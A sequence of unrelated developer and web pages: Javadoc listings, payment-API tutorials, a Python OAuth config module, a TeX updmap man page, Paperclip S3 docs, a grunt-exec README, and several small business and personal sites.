| Package | Description |
|---|---|
| org.apache.taverna.workflowmodel |
Defines classes and interfaces for workflow level entities and events.
|
| org.apache.taverna.workflowmodel.impl |
Implementation package for workflow entities
|
| org.apache.taverna.workflowmodel.processor.iteration |
Object model and enactment logic for the iteration strategy component of
a Processor
|
| org.apache.taverna.workflowmodel.processor.iteration.impl |
Implementation logic for the iteration system.
|
| Class and Description |
|---|
| IterationStrategy |
| IterationStrategyStack
Stack of iteration strategy containers.
|
| IterationTypeMismatchException
Thrown during the typecheck phase when an iteration strategy is configured
such that at runtime it would fail.
|
| NamedInputPortNode
Acts as the input to a stage within the iteration strategy, passes all jobs
straight through.
|
| Class and Description |
|---|
| IterationStrategy |
| IterationStrategyStack
Stack of iteration strategy containers.
|
| IterationTypeMismatchException
Thrown during the typecheck phase when an iteration strategy is configured
such that at runtime it would fail.
|
| NamedInputPortNode
Acts as the input to a stage within the iteration strategy, passes all jobs
straight through.
|
| Class and Description |
|---|
| AbstractIterationStrategyNode
Abstract superclass for implementations of IterationStrategyNode, adds logic
to connect nodes together and convenience methods to push jobs and completion
events up to the parent node.
|
| CompletionHandlingAbstractIterationStrategyNode
A superclass for all iteration strategy nodes which are required to propagate
final completion events formed from multiple inputs.
|
| CompletionHandlingAbstractIterationStrategyNode.CompletionState
Container class for the state of completion for a given process
identifier
|
| DotProduct
The dot product matches jobs by index array, when a job is received a job is
emited if and only if the index array of the new job is matched exactly by
index arrays of one job in each other input index.
|
| IterationStrategy |
| IterationStrategyNode
Interface for nodes within an iteration strategy layer
|
| IterationTypeMismatchException
Thrown during the typecheck phase when an iteration strategy is configured
such that at runtime it would fail.
|
| MissingIterationInputException
Thrown when an attempt is made to evaluate the type of the iteration strategy
but one or more input ports aren't defined in the input array of types.
|
| TerminalNode
The terminal node is the root of the iteration strategy tree, it is
responsible for forwarding all events up to the iteration strategy itself
which can then propogate them to the strategy stack.
|
| Class and Description |
|---|
| AbstractIterationStrategyNode
Abstract superclass for implementations of IterationStrategyNode, adds logic
to connect nodes together and convenience methods to push jobs and completion
events up to the parent node.
|
| IterationStrategy |
| IterationStrategyNode
Interface for nodes within an iteration strategy layer
|
| IterationStrategyStack
Stack of iteration strategy containers.
|
| IterationTypeMismatchException
Thrown during the typecheck phase when an iteration strategy is configured
such that at runtime it would fail.
|
| MissingIterationInputException
Thrown when an attempt is made to evaluate the type of the iteration strategy
but one or more input ports aren't defined in the input array of types.
|
| NamedInputPortNode
Acts as the input to a stage within the iteration strategy, passes all jobs
straight through.
|
| TerminalNode
The terminal node is the root of the iteration strategy tree, it is
responsible for forwarding all events up to the iteration strategy itself
which can then propogate them to the strategy stack.
|
Copyright © 2015–2016 The Apache Software Foundation. All rights reserved.


API Integration Tutorials
A collection of tutorials to help you integrate with ChargeBee API
Build a simple Subscription Checkout flow using PCI compliant, customizable hosted payment pages. Hosted Payment Pages is the fastest way to implement a secure & seamless checkout experience. This tutorial will showcase a API based checkout flow using hosted payment pages.
Setup configuration View live demo Read more View source in Github View video demo
Implement an in-app checkout experience using an iframe embedded hosted payment page. You could implement a pop-up or embedded experience based on your preferences. Complete PCI compliance as card information stays out of your servers.
Setup configuration View live demo Read more View source in Github View video demo
Learn how to implement the checkout flow to convert an existing trial / free user to a paid subscription.
Setup configuration View live demo Read more View source in Github View video demo
Allow customers to just update card information from within the application.
Setup configuration View live demo Read more View source in Github View video demo
Implement a 2-step checkout experience to capture additional information about products and customer before proceeding to payment. You may use pass-through parameters to store & also retrieve information during checkout.
Setup configuration View live demo Read more View source in Github View video demo
Learn how to implement a in-app checkout flow that allows your customers to select addons and apply coupons. Estimate api is used to dynamically calculate the order summary shown to the customer.
Setup configuration View live demo Read more View source in Github View video demo
Provides a pop-up checkout experience using Stripe.js form with ChargeBee. Stripe.js ensures that sensitive credit card information is not passed to your server thereby reducing your PCI compliance requirements. And ChargeBee ensures that all the Subscription heavy lifting is managed seamlessly.
Note:You should be using Stripe as your payment gateway to use this flow.
Setup configuration View live demo Read more View source in Github View video demo
ChargeBee provides a unique integration using Stripe's embedded form for tokenization with our Subscription Billing API. Stripe's embedded form ensures that sensitive credit card information is not passed to your server thereby reducing your PCI compliance requirements. And ChargeBee ensures that all the Subscription heavy lifting is managed seamlessly.
Note: You should be using Stripe as your payment gateway to use this flow.
Setup configuration View live demo Read more View source in Github View video demo
Another fantastic implementation to use Braintree.js for client side card encryption / tokenization, coupled with ChargeBee for Subscription Management & Billing. Braintree JS allows you to encrypt the sensitive card number and cvv information in the browser client itself. Your server receives only the encrypted information thereby reducing your PCI compliance requirements.
Setup configuration View live demo Read more View source in Github View video demo
Implement a complete self service portal in your website for Subscription Management. The sample app has support for allowing your customers to view and edit their card information, billing & shipping address. The customer can also view their invoices and download the invoice as pdf.
Note: ChargeBee provides a hosted customer portal which you could opt to use instead of implementing it.
Setup configuration View live demo Read more View source in Github View video demo
Capture additional custom fields in checkout, while creating a new subscription. The tutorial also explains how to setup a trial checkout without payment information from customer.
Setup configuration View live demo Read more View source in Github View video demo
Learn how to implement metered / usage based billing for a Subscription Business using ChargeBee. The example is implemented using webhooks and Invoice API of ChargeBee Recurring Billing Solution.
Setup configuration View live demo Read more View source in Github View video demo


{{ template "header" . }}
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Source code for learningstudio.oauth.config
"""
LearningStudio RESTful API Libraries
These libraries make it easier to use the LearningStudio Course APIs.
Full Documentation is provided with the library.
Need Help or Have Questions?
Please use the PDN Developer Community at https://community.pdn.pearson.com
:category LearningStudio Course APIs
:author Wes Williams<EMAIL_ADDRESS>:author Pearson Developer Services Team<EMAIL_ADDRESS>:copyright 2014 Pearson Education Inc.
:license http://www.apache.org/licenses/LICENSE-2.0 Apache 2.0
:version 1.0
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
"""
config
------
Configuration objects for initializing OAuth1 and OAuth2 services.
"""
[docs]def oauth_config(application_id, application_name = '',
client_string = '', consumer_key = '',
consumer_secret = ''):
"""Creates a new OAuth configuration.
:param application_id: The unique identifier of the client application.
:type application_id: str
:param application_name: Name of the client application.
:type application_name: str
:param client_string: The unique client string.
:type client_string: str
:param consumer_key: The key required to receive a request token.
:type consumer_key: str
:param consumer_secret: The secret required to receive a request token.
:type consumer_secret: str
:returns: The new oauth configuration.
:rtype: dict
"""
return { 'application_id' : application_id,
'application_name' : application_name,
'client_string' : client_string,
'consumer_key' : consumer_key,
'consumer_secret' : consumer_secret }
[docs]def oauth1_signature_config(application_id, consumer_key,
consumer_secret):
"""Convenience function for creating an OAuth1 signature configuration.
:param application_id: The unique identifier of the client application.
:type application_id: str
:param consumer_key: The key required to receive a request token.
:type consumer_key: str
:param consumer_secret: The secret required to receive a request token.
:type consumer_secret: str
:returns: The new oauth configuration.
:rtype: dict
"""
return oauth_config(application_id, consumer_key = consumer_key,
consumer_secret = consumer_secret)
[docs]def oauth2_assertion_config(application_id, application_name,
client_string, consumer_key,
consumer_secret):
"""Convenience function for creating an OAuth2 assertion configuration.
:param application_id: The unique identifier of the client application.
:type application_id: str
:param application_name: Name of the client application.
:type application_name: str
:param client_string: The unique client string.
:type client_string: str
:param consumer_key: The key required to receive a request token.
:type consumer_key: str
:param consumer_secret: The secret required to receive a request token.
:type consumer_secret: str
:returns: The new oauth configuration.
:rtype: dict
"""
return oauth_config(application_id, application_name,
client_string, consumer_key,
consumer_secret)
[docs]def oauth2_password_config(application_id, client_string):
"""Convenience function for creating an OAuth2 password configuration.
:param application_id: The unique identifier of the client application.
:type application_id: str
:param client_string: The unique client string.
:type client_string: str
:returns: The new oauth configuration.
:rtype: dict
"""
return oauth_config(application_id, client_string = client_string)
[docs]def application_id(config):
"""Returns the application_id from the configuration.
:param config: Configuration to extract the application_id from.
:type config: dict
:returns: The application_id from the configuration.
:rtype: str
"""
return config['application_id']
[docs]def application_name(config):
"""Returns the application_name from the configuration.
:param config: Configuration to extract the application_name from.
:type config: dict
:returns: The application_name from the configuration.
:rtype: str
"""
return config['application_name']
[docs]def client_string(config):
"""Returns the client_string from the configuration.
:param config: Configuration to extract the client_string from.
:type config: dict
:returns: The client_string from the configuration.
:rtype: str
"""
return config['client_string']
[docs]def consumer_secret(config):
"""Returns the consumer_secret from the configuration.
:param config: Configuration to extract the consumer_secret from.
:type config: dict
:returns: The consumer_secret from the configuration.
:rtype: str
"""
return config['consumer_secret']
[docs]def consumer_key(config):
"""Returns the consumer_key from the configuration.
:param config: Configuration to extract the consumer_key from.
:type config: dict
:returns: The consumer_key from the configuration.
:rtype: str
"""
return config['consumer_key']


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The Chef? Mr. Italiano himself
We are proud of our interiors.
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Saturday 10:00 - 23:00
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Find us at some address at some place or call us at 05050515-122330
We offer full-service catering for any event, large or small. We understand your needs and we will cater the food to satisfy the biggerst criteria of them all, both look and taste.
Reserve a table, ask for today's special or just send us a message:
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Select your Prebid Server host:
The account ID you were assigned when you registered with your Prebid Server host.
Type in your account ID, or you can copy/paste via the Scan QR code option. (See "QR Code Scanning" below for more on using QR codes.)
The ID of the server-side configuration you defined in Prebid Server for the ad unit you’re testing.
Type in your config ID, or you can copy/paste via the Scan QR code option. (See "QR Code Scanning" below for more on using QR codes.)
IDs for ad units and Prebid Server accounts and configurations are long strings that can be tedious to type manually and are prone to typing errors. To avoid manually entering an ID, you can perform what results in a copy-and-paste action by creating and scanning QR codes for the IDs.
To set up a QR code, follow these steps:


UPDMAP(1) User Commands UPDMAP(1) NAME updmap - manage TeX font maps, per-user updmap-sys - manage TeX font maps, system-wide SYNOPSIS updmap [OPTION] ... [COMMAND] updmap-sys [OPTION] ... [COMMAND] DESCRIPTION updmap (TeX Live, multi) version $Id: updmap.pl 26891 2012-06-10 22:41:49Z karl $ Update the default font map files used by pdftex, dvips, and dvipdfm(x), and optionally pxdvi, as determined by all configuration files updmap.cfg (the ones returned by running "kpsewhich --all updmap.cfg", but see below). Among other things, these map files are used to determine which fonts should be used as bitmaps and which as outlines, and to determine which font files are included in the PDF or PostScript output. By default, the TeX filename database (ls-R) is also updated. OPTIONS --cnffile FILE read FILE for the updmap configuration (can be given multiple times, in which case all the files are used) --dvipdfmxoutputdir DIR specify output directory (dvipdfm(x) syntax) --dvipsoutputdir DIR specify output directory (dvips syntax) --pdftexoutputdir DIR specify output directory (pdftex syntax) --pxdvioutputdir DIR specify output directory (pxdvi syntax) --outputdir DIR specify output directory (for all files) --copy cp generic files rather than using symlinks --force recreate files even if config hasn't changed --nomkmap do not recreate map files --nohash do not run texhash -n, --dry-run only show the configuration, no output --quiet, --silent reduce verbosity Commands: --help show this message and exit --version show version information and exit --showoption OPTION show the current setting of OPTION --showoptions OPTION show possible settings for OPTION --setoption OPTION VALUE set OPTION to value; option names below --setoption OPTION=VALUE as above, just different syntax --enable MAPTYPE MAPFILE add "MAPTYPE MAPFILE" to updmap.cfg, where MAPTYPE is Map, MixedMap, or KanjiMap --enable Map=MAPFILE add "Map MAPFILE" to updmap.cfg --enable MixedMap=MAPFILE add "MixedMap MAPFILE" to updmap.cfg --enable KanjiMap=MAPFILE add "KanjiMap MAPFILE" to updmap.cfg --disable MAPFILE disable MAPFILE, of whatever type --listmaps list all active and inactive maps --listavailablemaps same as --listmaps, but without unavailable map files --syncwithtrees disable unavailable map files in updmap.cfg Explanation of the map types: the (only) difference between Map and MixedMap is that MixedMap entries are not added to psfonts_pk.map. The purpose is to help users with devices that render Type 1 outline fonts worse than mode-tuned Type 1 bitmap fonts. So, MixedMap is used for fonts that are available as both Type 1 and Metafont. KanjiMap entries are added to psfonts_t1.map and kanjix.map. Explanation of the OPTION names for --showoptions, --showoptions, --setoption: dvipsPreferOutline true|false (default true) Whether dvips uses bitmaps or outlines, when both are available. dvipsDownloadBase35 true|false (default true) Whether dvips includes the standard 35 PostScript fonts in its output. pdftexDownloadBase14 true|false (default true) Whether pdftex includes the standard 14 PDF fonts in its output. pxdviUse true|false (default false) Whether maps for pxdvi (Japanese-patched xdvi) are under updmap's control. kanjiEmbed (any string) kanjiVariant (any string) See below. LW35 URWkb|URW|ADOBEkb|ADOBE (default URWkb) Adapt the font and file names of the standard 35 PostScript fonts. URWkb URW fonts with "berry" filenames (e.g. uhvbo8ac.pfb) URW URW fonts with "vendor" filenames (e.g. n019064l.pfb) ADOBEkb Adobe fonts with "berry" filenames (e.g. phvbo8an.pfb) ADOBE Adobe fonts with "vendor" filenames (e.g. hvnbo___.pfb) These options are only read and acted on by updmap; dvips, pdftex, etc., do not know anything about them. They work by changing the default map file which the programs read, so they can be overrid‐ den by specifying command-line options or configuration files to the programs, as explained at the beginning of updmap.cfg. The options kanjiEmbed and kanjiVariant specify special replace‐ ments in the map lines. If a map contains the string @kanjiEm‐ bed@, then this will be replaced by the value of that option; sim‐ ilarly for kanjiVariant. In this way, users of Japanese TeX can select different fonts to be included in the final output. ENVIRONMENT Explanation of trees and files normally used: If --cnffile is specified on the command line (possibly multiple times), its value(s) are used. Otherwise, updmap reads all the updmap.cfg files found by running `kpsewhich -all updmap.cfg', in the order returned by kpsewhich, with one exception: an updmap.cfg found in TEXMFLOCAL is given higher priority than the updmap.cfg in TEXMFMAIN, to ensure that local adjustments by administrators take precedence over what is shipped in TeX Live. In any case, if multiple updmap.cfg files are found, all the maps mentioned in all the updmap.cfg files are merged. Thus, if updmap.cfg files are present in all trees, and the default layout is used as shipped with TeX Live on Debian, the following files are read, in the given order. For updmap-sys: TEXMFSYSCONFIG /etc/texmf/web2c/updmap.cfg TEXMFSYSVAR /var/lib/texmf/web2c/updmap.cfg TEXMFLOCAL /usr/local/share/texmf-local/web2c/updmap.cfg TEXMFDEBIAN /usr/share/texmf/web2c/updmap.cfg TEXMFMAIN /usr/share/texlive/texmf/web2c/updmap.cfg TEXMFDIST /usr/share/texlive/texmf-dist/web2c/updmap.cfg For updmap: TEXMFCONFIG $HOME/.texmf-config/web2c/updmap.cfg TEXMFVAR $HOME/.texmf-var/web2c/updmap.cfg TEXMFHOME $HOME/texmf/web2c/updmap.cfg TEXMFSYSCONFIG /etc/texmf/web2c/updmap.cfg TEXMFSYSVAR /var/lib/texmf/web2c/updmap.cfg TEXMFLOCAL /usr/local/share/texmf-local/web2c/updmap.cfg TEXMFDEBIAN /usr/share/texmf/web2c/updmap.cfg TEXMFMAIN /usr/share/texlive/texmf/web2c/updmap.cfg TEXMFDIST /usr/share/texlive/texmf-dist/web2c/updmap.cfg There is another exception to keep upgradability from earlier ver‐ sions of TeX Live: if a file TEXMFLOCAL/web2c/updmap-local.cfg exists (formerly used by tlmgr to merge local fonts), then the file TEXMFLOCAL/web2c/updmap.cfg is ignored (if it exists) and that updmap-local.cfg is used instead. In this case, updmap rec‐ ognizes the previous syntax for disabling map files in updmap-local.cfg (this syntax is different from what is used now). According to the actions, updmap might write to one of the given files or create a new updmap.cfg, described further below. Where changes are saved: if config files are given on the command line, then the first one given will be used to save any changes from --setoption, --enable or --disable. If the config files are taken from kpsewhich output, then the algorithm is more complex: 1) If $TEXMFCONFIG/web2c/updmap.cfg or $TEXMFHOME/web2c/updmap.cfg appears in the list of used files, then the one listed first by kpsewhich --all (equivalently, the one returned by kpsewhich updmap.cfg), is used. 2) If neither of the above two are present and changes are made, a new config file is created in $TEXMFCONFIG/web2c/updmap.cfg. Resolving multiple definitions of a font: If a font is defined in more than one map file, then the defini‐ tion coming from the first-listed updmap.cfg is used. If a font is defined multiple times within the same map file, one is chosen arbitrarily. In both cases a warning is issued. Disabling maps: updmap.cfg files with higher priority (listed earlier) can disable maps mentioned in lower priority (listed later) updmap.cfg files by writing, e.g., #! Map mapname.map or #! MixedMap mapname.map in the higher-priority updmap.cfg file. As an example, suppose you have a copy of MathTime Pro fonts and want to disable the Belleek version of the fonts; that is, disable the map belleek.map. You can create the file $TEXMFCON‐ FIG/web2c/updmap.cfg with the content #! Map belleek.map Map mt-plus.map Map mt-yy.map and call updmap. updmap writes the map files for dvips (psfonts.map) and pdftex (pdftex.map) to the TEXMFVAR/fonts/map/updmap/{dvips,pdftex}/ directories. The log file is written to TEXMFVAR/web2c/updmap.log. When updmap-sys is run, TEXMFSYSCONFIG and TEXMFSYSVAR are used instead of TEXMFCONFIG and TEXMFVAR, respectively. This is the only difference between updmap-sys and updmap. Other locations may be used if you give them on the command line, or these trees don't exist, or you are not using the original TeX Live. To see the precise locations of the various files that will be read and written, give the -n option (or read the source). EXAMPLES For step-by-step instructions on making new fonts known to TeX, read http://tug.org/fonts/fontinstall.html. For even more terse instructions, read the beginning of updmap.cfg. FILES Configuration and input files: updmap.cfg Main configuration file. In texmf/web2c by default, but may be located elsewhere depending on your distribution. Each texmf tree read should have its own updmap.cfg. dvips35.map Map file for standard 35 PostScript fonts for use with dvips(1). pdftex35.map Map file for standard 35 PostScript fonts for use with pdftex(1). ps2pk35.map Map file for standard 35 PostScript fonts for use with ps2pk(1). Output files: psfonts.map For dvips(1). Same as psfonts_t1.map if option dvipsPreferOutline active, else as psfonts_pk.map. psfonts_pk.map For dvips(1). Without information from MixedMap files. (Setting of dvipsPreferOutline ignored.) psfonts_t1.map For dvips(1). With information from MixedMap files. (Setting of dvipsPreferOutline ignored.) download35.map For dvips(1). Always downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.) builtin35.map For dvips(1). Never downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.) pdftex.map For pdftex(1). Same as pdftex_dl14.map if option pdftexDownload‐ Base14 active, else as pdftex_ndl14.map. pdftex_dl14.map For pdftex(1). Always downloads the standard 14 fonts. pdftex_ndl14.map For pdftex(1). Never downloads the standard 14 fonts. ps2pk.map Similar to psfonts.map file, but forces all fonts to be down‐ loaded, so this map file can be used with xdvi(1) and ps2pk(1). Configuration files for dvips(1): config.builtin35 Loads builtin35.map instead of psfonts.map. config.download35 Loads download35.map instead of psfonts.map. config.outline Loads psfonts_t1.map instead of psfonts.map. config.pdf Loads psfonts_t1.map instead of psfonts.map and has additional optimizations for PDF generation. config.pk Loads psfonts_pk.map instead of psfonts.map. config.www Loads psfonts_t1.map instead of psfonts.map. (For compatibility with old versions.) config.gstopk Loads psfonts_t1.map instead of psfonts.map. REPORTING BUGS Report bugs to<EMAIL_ADDRESS>TeX Live home page: <http://tug.org/texlive/> TeX Live June 2012 UPDMAP(1)


Welcome to my secret website!
Here you can find information on most of my projects.
Since 2012, I've been making videos using Adobe After Effects.
I began using Microsoft PowerPoint, which allows for a surprising amount of visual effects.
Then I switched to Windows Movie Maker which is somewhat better, but the effects are not as good as PowerPoint.
Adobe Premiere Pro didn't work on my laptop, so next I began to use After Effects.
I found that it could do more than PowerPoint and Movie Maker combined, so I have been using it ever since.
Since 2013, I have been making songs for fun.
I began using GarageBand, which is good for assembling basic loops from prerecorded tracks.
Then I switched to Music Studio, which allows the placement of notes and the creation of custom instruments.
Then I switched to FL Studio Mobile, which is based on the infastructure of Music Studio.
FL Studio Mobile had higher quality samples, so I next I decided to use the desktop version of FL Studio.
I have been using FL Studio since 2016 for its ease of use and set of features.
Since 2014, I have been making models, mainly for Source games.
I normally use Blender, but I also learnt the basics of 3DS Max during a course in Sydney.
Although I am decent at modelling, I am quite awful at animation.
Since 2012, I have been making maps for Source games.
I began using the Portal 2 Puzzle Editor, which allowed me to learn the basics of mapping.
I switched to Hammer in 2014, and I have been using it ever since.
I think programming is fantastic because it gives the creative freedom to perform any task that you can imagine.
I began learning programming in 2014 with Batch.
Then I moved onto Visual Basic for a short time.
Then I learnt Lua, Swift, HTML, CSS, JavaScript, Shell, ExtendScript, and C#.
I've also been trying to learn After Effects expressions, in attempt to create digitally unique works.
I think that scripting is a crucial skill, as people are constantly trying to master fields such as photography, filmmaking and editing.
Scripting applies to each of these fields, and drastically increases the limits of what you can do.


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| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object ca.etsmtl.log430.lab1.Displays
public class Displays
This class displays various types of information on projects and resources (individually and as lists) to the screen.
| Field Summary | |
|---|---|
private int |
lineCount
|
private int |
maxLinesDisplayed
|
| Constructor Summary | |
|---|---|
Displays()
|
| Method Summary | |
|---|---|
void |
displayProject(Project project)
Displays a project object's elements as follows: ID, name, start date, end date, and priority. |
void |
displayProjectList(ProjectList list)
Displays the projects in a project list. |
void |
displayProjectsAssignedToResource(Resource resource)
Lists the projects currently assigned to a resource during this session. |
void |
displayResource(Resource resource)
Displays a resource object's elements as follows: Resource's first name, last name, ID number, role. |
void |
displayResourceList(ResourceList list)
Displays the resources in a resource list. |
void |
displayResourcesAssignedToProject(Project project)
Lists the resources that have been assigned to the project. |
private void |
lineCheck(int linesToAdd)
Counts the number of lines that has been printed. |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Field Detail |
|---|
private int lineCount
private int maxLinesDisplayed
| Constructor Detail |
|---|
public Displays()
| Method Detail |
|---|
private void lineCheck(int linesToAdd)
linesToAdd
- public void displayResource(Resource resource)
resource
- public void displayProject(Project project)
project
- public void displayResourcesAssignedToProject(Project project)
project
- public void displayProjectsAssignedToResource(Resource resource)
resource
- public void displayResourceList(ResourceList list)
list
- public void displayProjectList(ProjectList list)
list
-
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| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Computes bilateral and multilateral index numbers. It has support for several standard bilateral indices as well as the GEKS multilateral index number methods (see Ivancic, Diewert and Fox (2011) <doi:10.1016/j.jeconom.2010.09.003>) . It also supports updating of GEKS indexes using several splicing methods.
| Version: | 0.1.0 |
| Imports: | utils |
| Suggests: | testthat, knitr, rmarkdown |
| Published: | 2018-01-26 |
| Author: | Graham White |
| Maintainer: | Graham White <g.white at unswalumni.com> |
| License: | GPL-2 |
| NeedsCompilation: | no |
| Materials: | README |
| CRAN checks: | IndexNumR results |
| Reference manual: | IndexNumR.pdf |
| Vignettes: |
IndexNumR: A Package for Index Number Calculation |
| Package source: | IndexNumR_0.1.0.tar.gz |
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<title>Module: Paperclip::Storage::S3</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta http-equiv="Content-Script-Type" content="text/javascript" /> <link rel="stylesheet" href="../../.././rdoc-style.css" type="text/css" media="screen" />

 Module	 Paperclip::Storage::S3

 In:	   lib/paperclip/storage.rb

Amazon&8216;s S3 file hosting service is a scalable, easy place to store files for distribution. You can find out more about it at aws.amazon.com/s3aws.amazon.com/s3">aws.amazon.com/s3> There are a few S3-specific options for has_attached_file:
- s3_credentials: Takes a path, a
File, or a Hash. The path (or File) must point to a YAML file containing
the access_key_id and secret_access_key that Amazon gives
you. You can &8216;environment-space&8217; this just like you do to
your database.yml file, so different environments can use different
accounts:
development: access_key_id: 123... secret_access_key: 123... test: access_key_id: abc... secret_access_key: abc... production: access_key_id: 456... secret_access_key: 456...
This is not required, however, and the file may simply look like this:
access_key_id: 456... secret_access_key: 456...
In which case, those access keys will be used in all environments. You can also put your bucket name in this file, instead of adding it to the code directly. This is useful when you want the same account but a different bucket for development versus production.
- s3_permissions: This is a String that should be one of
the "canned" access policies that S3 provides (more information can be found
here: docs.amazonwebservices.com/AmazonS3/2006-03-01/RESTAccessPolicy.html#RESTCannedAccessPoliciesdocs.amazonwebservices.com/AmazonS3/2006-03-01/RESTAccessPolicy.html#RESTCannedAccessPolicies">docs.amazonwebservices.com/AmazonS3/2006-03-01/RESTAccessPolicy.html#RESTCannedAccessPolicies>)
The default for Paperclip is
:public_read.
- +s3_protocol+: The
protocol for the URLs generated to your S3 assets. Can be either
&8216;http&8217; or &8216;https&8217;. Defaults to
&8216;http&8217; when your :s3_permissions are :public_read (the
default), and &8216;https&8217; when your :s3_permissions are
anything else.
- s3_headers: A hash of headers such as
{&8216;Expires&8217; => 1.year.from_now.httpdate}
- bucket: This is the name of the S3 bucket that will store your files.
Remember that the bucket must be unique across all of Amazon S3. If the bucket does not exist Paperclip will attempt to
create it. The bucket name will not be interpolated. You can define the
bucket as a Proc if you want to determine it&8216;s name at runtime. Paperclip will call that Proc
with attachment as the only argument.
- +s3_host_alias+: The
fully-qualified domain name (FQDN) that is the alias to the S3 domain of your bucket. Used with the
:s3_alias_url url interpolation. See the link in the url entry for
more information about S3 domains and
buckets.
- url: There are three options for the S3 url. You can choose to have the
bucket&8216;s name placed domain-style (bucket.s3.amazonaws.com) or
path-style (s3.amazonaws.com/bucket). Lastly, you can specify a CNAME
(which requires the CNAME to be specified as :s3_alias_url. You can read
more about CNAMEs and S3 at docs.amazonwebservices.com/AmazonS3/latest/index.html?VirtualHosting.htmldocs.amazonwebservices.com/AmazonS3/latest/index.html?VirtualHosting.html">docs.amazonwebservices.com/AmazonS3/latest/index.html?VirtualHosting.html>
Normally, this won&8216;t matter in the slightest and you can leave the
default (which is path-style, or :s3_path_url). But in some cases paths
don&8216;t work and you need to use the domain-style (:s3_domain_url).
Anything else here will be treated like path-style. NOTE: If you use a
CNAME for use with CloudFront, you can NOT specify https as your :s3_protocol; This is *not supported*
by S3/CloudFront. Finally, when using the
host alias, the :bucket parameter is ignored, as the hostname is used as
the bucket name by S3.
- path: This is the key under the bucket in which the file
will be stored. The URL will be constructed from the bucket and the path.
This is what you will want to interpolate. Keys should be unique, like
filenames, and despite the fact that S3
(strictly speaking) does not support directories, you can still use a / to
separate parts of your file name.

Methods

 bucket_name exists? expiring_url extended parse_credentials s3_host_alias s3_protocol to_file

Public Class methods

  extended(base)

Public Instance methods

  bucket_name()

  exists?(style = default_style)

  expiring_url(time = 3600)

  parse_credentials(creds)

  s3_host_alias()

  s3_protocol()

  to_file(style = default_style)

Returns representation of the data of the file assigned to the given style, in the format most representative of the current storage.

[Validate]


[![build status](https://secure.travis-ci.org/jharding/grunt-exec.png?branch=master)](http://travis-ci.org/jharding/grunt-exec) grunt-exec ==========
Grunt plugin for executing shell commands.
Installation¶
Install grunt-exec using npm:
`
$ npm install grunt-exec
`
Then add this line to your project’s Gruntfile.js:
`javascript
grunt.loadNpmTasks('grunt-exec');
`
Usage¶
This plugin is a [multi task][types_of_tasks], meaning that grunt will automatically iterate over all exec targets if a target is not specified.
If the exit code generated by the specified shell command is greater than 0, grunt-exec will assume an error has occurred and will abort grunt immediately.
[types_of_tasks]: http://gruntjs.com/configuring-tasks#task-configuration-and-targets
### Properties
- __command__ (alias: __cmd__): The shell command to be executed. Must be a
string or a function that returns a string.
- __stdout__: If true, stdout will be printed. Defaults to true.
- __stderr__: If true, stderr will be printed. Defaults to true.
- __cwd__: Current working directory of the shell command. Defaults to the
directory containing your Gruntfile.
- __exitCode__ (alias: __exitCodes__): The expected exit code(s), task will
fail if the actual exit code doesn’t match. Defaults to 0. Can be an array for multiple allowed exit codes.
- __callback__: The callback function passed child_process.exec. Defaults to
a noop.
If the configuration is instead a simple string, it will be interpreted as a full command itself:
echo_something: ‘echo “This is something”’
}¶
### Command Functions
If you plan on doing advanced stuff with grunt-exec, you’ll most likely be using functions for the command property of your exec targets. This section details a couple of helpful tips about command functions that could help make your life easier.
#### Passing arguments from the command line
Command functions can be called with arbitrary arguments. Let’s say we have the following exec target that echoes a formatted name:
- echo_name: {
- cmd: function(firstName, lastName) {
- var formattedName = [
- lastName.toUpperCase(), firstName.toUpperCase()
].join(‘, ‘);
return ‘echo ‘ + formattedName;
}
}
}¶
In order to get SIMPSON, HOMER echoed, you’d run grunt exec:echo_name:homer:simpson from the command line.
### Accessing grunt object
All command functions are called in the context of the grunt object that they are being ran with. This means you can access the grunt object through this.
### Example
The following examples are available in grunt-exec’s Gruntfile.
```javascript grunt.initConfig({
- exec: {
- remove_logs: {
- command: ‘rm -f *.log’, stdout: false, stderr: false
}, list_files: {
cmd: ‘ls -l **‘}, list_all_files: ‘ls -la’, echo_grunt_version: {
cmd: function() { return ‘echo ‘ + this.version; }}, echo_name: {
- cmd: function(firstName, lastName) {
- var formattedName = [
- lastName.toUpperCase(), firstName.toUpperCase()
].join(‘, ‘);
return ‘echo ‘ + formattedName;
}
}
}
});¶
Testing¶
`
$ cd grunt-exec
$ npm test
`
Versioning¶
For transparency and insight into the release cycle, releases will be numbered with the follow format:
<major>.<minor>.<patch>
And constructed with the following guidelines:
- Breaking backwards compatibility bumps the major
- New additions without breaking backwards compatibility bumps the minor
- Bug fixes and misc changes bump the patch
For more information on semantic versioning, please visit http://semver.org/.
License¶
Copyright (c) 2012-2014 [Jake Harding](http://thejakeharding.com) Licensed under the MIT License.


Welcome to BSE Institute
Institute that gives you the EDGE
Welcome to the BSE Institute Ltd. This site has been designed to provide information about the BSE Institute Ltd. and the various courses, certifications and other learning solutions offered by us. Hope you find the information provided here useful. With the global financial markets at an inflection point, we strive to equip future leaders with the competence and character to address emerging global business and social challenges.
The world around us is in a constant state of transformation and we need to be able to deal with this change effectively. To succeed in today's competitive and complex environment, you need to develop and demonstrate "the personal capabilities, underlying characteristics and behaviors that drive superior performance at work. "Our courses are designed to help you develop the required capabilities and understand the trends and be prepared for what’s around the bend.


Hexagon mPower is an end-to-end investment management product designed to double operational efficiency and provide an unmatched user experience.
Modular by Design
The Front Office SuiteFoS
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
The Back Office SuiteBoS
